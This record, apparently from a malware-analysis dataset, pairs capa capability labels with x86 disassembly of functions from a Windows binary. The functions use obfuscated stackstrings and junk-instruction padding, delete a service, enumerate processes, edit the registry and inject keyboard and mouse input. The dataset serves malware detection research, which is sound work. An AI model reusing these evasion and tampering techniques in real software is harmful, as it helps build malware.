joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ac40
Capabilities:
Contain obfuscated stackstrings
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov al, 0x65
push ebx
mov byte [ebp - 0x27], al
mov byte [ebp - 0x24], al
mov al, 0x6c
push esi
push edi
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov al, 0x73
mov byte [ebp - 0x18], 0x45
mov byte [ebp - 0x17], 0x78
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
call fcn.1000aa80
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov edx, dword [ebp - 4]
add esp, 4
push 0x10000
push 0x100234fc
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edi, dword [ebp - 8]
add esp, 4
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x30
call esi
add esp, 4
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push 0x30
call esi
mov eax, dword [ebp - 4]
add esp, 4
push eax
call edi
push 1
push 0
push 3
call fcn.100140d0
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.100140d0
add esp, 0xc
push 0
call dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ae10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
push 0x30
mov dword [ebp - 8], 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov dword [ebp - 0x130], 0x128
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [ebp - 4]
add esp, 4
lea eax, [ebp - 0x130]
push eax
push ecx
call sub.KERNEL32.dll_Process32First
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea edx, [ebp - 0x10c]
push esi
push edx
call edi
test eax, eax
je 0x1000af0b
push 0x30
call ebx
mov ecx, dword [ebp - 4]
add esp, 4
lea eax, [ebp - 0x130]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000af30
lea edx, [ebp - 0x10c]
push esi
push edx
call edi
test eax, eax
jne 0x1000aee2
mov eax, dword [ebp - 0x128]
mov dword [ebp - 8], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ecx, dword [ebp - 4]
add esp, 4
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
mov eax, dword [ebp - 8]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c190
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1002337c]
push ebx
push esi
push edi
test eax, eax
jne 0x1000c1b2
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002337c], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea ecx, [ebp - 0x14]
mov edi, 0x1001c464
xor ebx, ebx
lea eax, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
call fcn.1000c2c0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [ebp - 0x24], eax
call esi
mov eax, dword [ebp - 0x24]
add esp, 4
neg eax
sbb eax, eax
lea edx, [ebp - 0x20]
push str.MyCreateMa
push 0x594
and eax, edx
push ebx
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x10023370], eax
call esi
mov eax, dword [0x10023370]
add esp, 4
cmp eax, ebx
jne 0x1000c246
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], edi
jmp 0x1000c279
push 0x30
call esi
mov eax, dword [0x10023370]
add esp, 4
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x1002336c], eax
call esi
mov eax, dword [0x1002336c]
add esp, 4
cmp eax, ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], edi
jne 0x1000c295
cmp eax, ebx
je 0x1000c28c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, ebx
je 0x1000c2a8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000cbd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x65
mov dl, 0x6e
mov al, 0x6c
push edi
mov dword [esi], 0x1001c474
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], 0
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov al, 0x74
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], al
mov byte [ebp - 0xb], cl
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 9], 0x76
mov byte [ebp - 8], cl
mov byte [ebp - 7], dl
mov byte [ebp - 6], al
mov byte [ebp - 5], 0x41
mov byte [ebp - 4], 0
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x20]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edx, dword [ebp + 8]
mov dword [esi + 4], edx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov ecx, dword [esi + 4]
push esi
call fcn.10003260
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1000cf60
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x3c
lea eax, [esp + 8]
lea edx, [ecx + 8]
push ebx
push esi
xor esi, esi
push eax
mov eax, dword [ecx + 4]
push 0xf003f
push esi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d0e7
push eax
lea ecx, [esp + 0x2c]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x3c]
push edx
push eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
push esi
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000cfbe
pop esi
xor eax, eax
pop ebx
add esp, 0x3c
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 8]
test eax, eax
lea ebx, [ecx + 1]
jbe 0x1000d0e7
cmp ebx, 1
jbe 0x1000d0e7
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push edi
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x86
mov eax, dword [esp + 0x14]
mov cl, byte [esp + 0x4c]
mov dword [edx], eax
mov eax, dword [esp + 0x48]
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
mov byte [edx + 0xc], cl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x1000d0c1
mov edx, dword [esp + 0x20]
add edx, 0xd
mov dword [esp + 0x1c], edx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x1000d04d
mov esi, dword [esp + 0x2c]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebp
mov eax, esi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x1000d4e0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x1000d520
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 2
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x1000d890
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1001b988
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000d350
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000d98a
test ebx, ebx
jbe 0x1000d932
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000d410
test eax, eax
je 0x1000d981
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000d470
test eax, eax
je 0x1000d981
mov ecx, dword [esp + 0x10]
call fcn.1000d610
jmp 0x1000d98a
mov ecx, dword [esp + 0x10]
call fcn.1000d5f0
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000d3b0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000d9f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001b9a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000d350
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000db1a
test ebp, ebp
jbe 0x1000db1a
test esi, esi
jle 0x1000dab4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000d410
test eax, eax
jne 0x1000daa1
mov ecx, dword [esp + 0x10]
call fcn.1000d5f0
jmp 0x1000db1a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000d4e0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000db08
call fcn.1000d610
jmp 0x1000db0d
call fcn.1000d5f0
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000d3b0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000db80
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001b9c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000d350
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x20], eax
mov ecx, dword [ecx + 8]
test ecx, ecx
jbe 0x1000dcae
test eax, eax
jbe 0x1000dcae
test esi, esi
jle 0x1000dc44
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000d410
test eax, eax
jne 0x1000dc31
mov ecx, dword [esp + 0x10]
call fcn.1000d5f0
jmp 0x1000dcae
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x24]
add esp, 4
lea esi, [eax + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x24]
mov edi, ebp
mov ecx, eax
add ebx, eax
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.1000db40
add esp, 8
lea ecx, [esp + 0x14]
push eax
push ebp
call fcn.1000d4b0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000dca0
call fcn.1000d610
jmp 0x1000dca5
call fcn.1000d5f0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000d3b0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000dce0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001b9e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000d350
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000de0a
test ebp, ebp
jbe 0x1000de0a
test esi, esi
jle 0x1000dda4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000d410
test eax, eax
jne 0x1000dd91
mov ecx, dword [esp + 0x10]
call fcn.1000d5f0
jmp 0x1000de0a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000d520
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000ddf8
call fcn.1000d610
jmp 0x1000ddfd
call fcn.1000d5f0
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000d3b0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000ef00
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x1000f0b1
call fcn.10011e80
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x1000f0b1
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000ef7d
cmp eax, 0x208
ja 0x1000ef7d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x1000f02d
je 0x1000f015
cmp eax, 0x105
ja 0x1000efe9
je 0x1000efcb
sub eax, 0x100
je 0x1000efad
dec eax
je 0x1000efcb
sub eax, 3
jne case.0x1000f037.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000f037.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000f037.521
sub eax, 0x201
je 0x1000f006
dec eax
jne case.0x1000f037.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000f09a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000f09a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000f09a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x1000f037.521
jmp dword [eax*4 + 0x1000f0b8]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000f09a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000f09a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000f09a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000f09a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000f09a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x1000ef49
pop edi
pop ebp
pop ebx
pop esi
ret 8